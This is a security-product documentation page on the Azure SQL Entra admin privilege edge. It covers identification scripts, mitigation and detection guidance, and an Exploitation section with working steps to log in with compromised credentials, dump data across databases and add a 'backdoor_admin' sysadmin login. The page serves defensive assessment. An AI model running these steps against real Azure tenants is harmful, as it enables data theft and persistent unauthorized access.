> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/azure/az_sql_admin.md).

# AZ\_SQL\_ADMIN

## Summary

|                            |                                                    |
| -------------------------- | -------------------------------------------------- |
| **FSProtect ACL Alias**    | AZ\_SQL\_ADMIN                                     |
| **Azure Alias**            | Microsoft Entra Admin (Azure SQL Server)           |
| **Affected Object Types**  | User, Group, Service Principal -> Azure SQL Server |
| **Exploitation Certainty** | Certain                                            |

## Description

`AZ_SQL_ADMIN` represents the relationship where a Microsoft Entra principal (user, group, or service principal) is configured as the **Microsoft Entra administrator** of an Azure SQL Server.

The Microsoft Entra admin has full administrative control over all databases on the Azure SQL logical server, including:

* **Full `sysadmin`-equivalent access** to all databases on the server, including the `master` database.
* **Create, alter, and drop** database users, logins, and roles.
* **Read and modify all data** across all databases on the server.
* **Execute arbitrary T-SQL** including stored procedures and dynamic SQL.
* **Manage database-level security** — grant/revoke permissions, manage row-level security, dynamic data masking.
* **Access managed identity tokens** if the SQL Server has a managed identity assigned (see [AZ\_ASSIGNED\_MANAGED\_IDENTITY](https://docs.forestall.io/fsprotect/edges/azure/az_assigned_managed_identity)).

This edge is critical because:

* The Entra admin bypasses all database-level access controls.
* If the admin is a **group**, all members of the group inherit SQL admin privileges.
* If the admin is a **service principal**, compromising the application credentials grants full SQL access.
* SQL Server often contains sensitive business data, credentials, and connection strings.

## Identification

### PowerShell (Az Module)

```powershell
Connect-AzAccount

# List Microsoft Entra admins for all SQL Servers
Get-AzSqlServer | ForEach-Object {
    $admin = Get-AzSqlServerActiveDirectoryAdministrator -ResourceGroupName $_.ResourceGroupName -ServerName $_.ServerName -ErrorAction SilentlyContinue
    [PSCustomObject]@{
        ServerName = $_.ServerName
        ResourceGroup = $_.ResourceGroupName
        AdminDisplayName = $admin.DisplayName
        AdminObjectId = $admin.ObjectId
        AdminType = $admin.ObjectType
    }
} | Where-Object { $_.AdminDisplayName } | Format-Table -AutoSize
```

### Azure CLI

```bash
# List Microsoft Entra admins for all SQL Servers
az sql server list --query "[].{Name:name, RG:resourceGroup}" -o tsv | while read name rg; do
    echo "=== $name ==="
    az sql server ad-admin list --server-name "$name" --resource-group "$rg" -o table
done
```

### Microsoft Graph (PowerShell)

```powershell
Connect-MgGraph -Scopes "Directory.Read.All"

# If the admin is a group, list its members to see who inherits SQL admin
$groupId = "<AdminGroupObjectId>"
Get-MgGroupMember -GroupId $groupId | Select-Object Id, @{N='DisplayName';E={$_.AdditionalProperties.displayName}}, @{N='Type';E={$_.AdditionalProperties.'@odata.type'}} | Format-Table -AutoSize
```

### Azure GUI

1. Open **Azure Portal** → navigate to the target **SQL Server**.
2. Under **Settings**, select **Microsoft Entra ID**.
3. The current Microsoft Entra admin is displayed along with their Object ID and type.

## Exploitation

### Connect as the Entra Admin using Azure AD Authentication

If you have compromised the credentials of the Entra admin principal (user, service principal, or a member of the admin group):

```powershell
# Connect using SqlServer module with Entra authentication
Import-Module SqlServer

# Interactive login (user)
Invoke-Sqlcmd -ServerInstance "<server>.database.windows.net" `
    -Database "master" `
    -Query "SELECT name, type_desc FROM sys.database_principals WHERE type IN ('E','X')" `
    -Authentication "ActiveDirectoryInteractive"

# Service principal authentication
$securePassword = ConvertTo-SecureString "<ClientSecret>" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential("<AppId>", $securePassword)

Invoke-Sqlcmd -ServerInstance "<server>.database.windows.net" `
    -Database "master" `
    -Query "SELECT @@VERSION" `
    -Authentication "ActiveDirectoryServicePrincipal" `
    -Credential $credential
```

### Enumerate Databases and Extract Data

```sql
-- List all databases
SELECT name, state_desc FROM sys.databases;

-- List all users across databases
EXEC sp_MSforeachdb 'USE [?]; SELECT DB_NAME() AS DatabaseName, name, type_desc FROM sys.database_principals WHERE type IN (''S'',''E'',''X'',''G'')';

-- Extract sensitive data
SELECT TOP 100 * FROM [TargetDatabase].[dbo].[SensitiveTable];
```

### Create a Backdoor User

```sql
-- Create a persistent SQL login as a backdoor
CREATE LOGIN [backdoor_admin] WITH PASSWORD = '<StrongPassword>';
ALTER SERVER ROLE sysadmin ADD MEMBER [backdoor_admin];
```

### Access Managed Identity Token via SQL

If the SQL Server has a managed identity, the Entra admin can potentially leverage it for lateral movement to other Azure resources.

## Opsec Considerations

* Azure SQL **audit logs** record all connections and queries if auditing is enabled.
* Microsoft Entra **sign-in logs** record authentication events for the admin principal.
* Creating new logins or altering server roles generates audit entries.

## Mitigation

1. **Use a dedicated security group as the Entra admin**
   * Avoid assigning individual user accounts directly.
   * Restrict group membership with access reviews.
2. **Use PIM (Privileged Identity Management) for the admin group**
   * Configure eligible membership instead of permanent assignments.
   * Require justification and MFA for activation.
3. **Avoid using service principals as the Entra admin**
   * If a service principal must be used, protect its credentials with certificate-based authentication and restrict who can add secrets.
4. **Enable Azure SQL Auditing**
   * Go to **Azure Portal** → SQL Server → **Auditing** → enable auditing to a Log Analytics workspace or Storage Account.
5. **Enable Microsoft Entra-only authentication**
   * Disable SQL authentication to prevent creation of SQL backdoor logins.
   * Go to **Azure Portal** → SQL Server → **Microsoft Entra ID** → enable **Support only Microsoft Entra authentication for this server**.
6. **Apply network restrictions**
   * Use private endpoints and firewall rules to restrict who can connect to the SQL Server.

## Detection

Monitor for SQL admin activity and configuration changes.

### Microsoft Entra Sign-in Logs

* Filter by the admin principal's Object ID.
* Alert on sign-ins from unusual IP addresses or locations.

### Azure Activity Log

* Monitor for Entra admin changes: **Operation name**: `Microsoft.Sql/servers/administrators/write`.
* Alert on unexpected admin changes.

### Azure SQL Audit Logs

* Alert on:
  * New login or user creation (`CREATE LOGIN`, `CREATE USER`).
  * Server role modifications (`ALTER SERVER ROLE`).
  * Bulk data access or unusual query patterns.
  * Connections from new IP addresses.

## References

* <https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-aad-configure>
* <https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-aad-overview>
* <https://learn.microsoft.com/en-us/azure/azure-sql/database/logins-create-manage>
* <https://learn.microsoft.com/en-us/azure/azure-sql/database/security-overview>
* <https://learn.microsoft.com/en-us/azure/azure-sql/database/auditing-overview>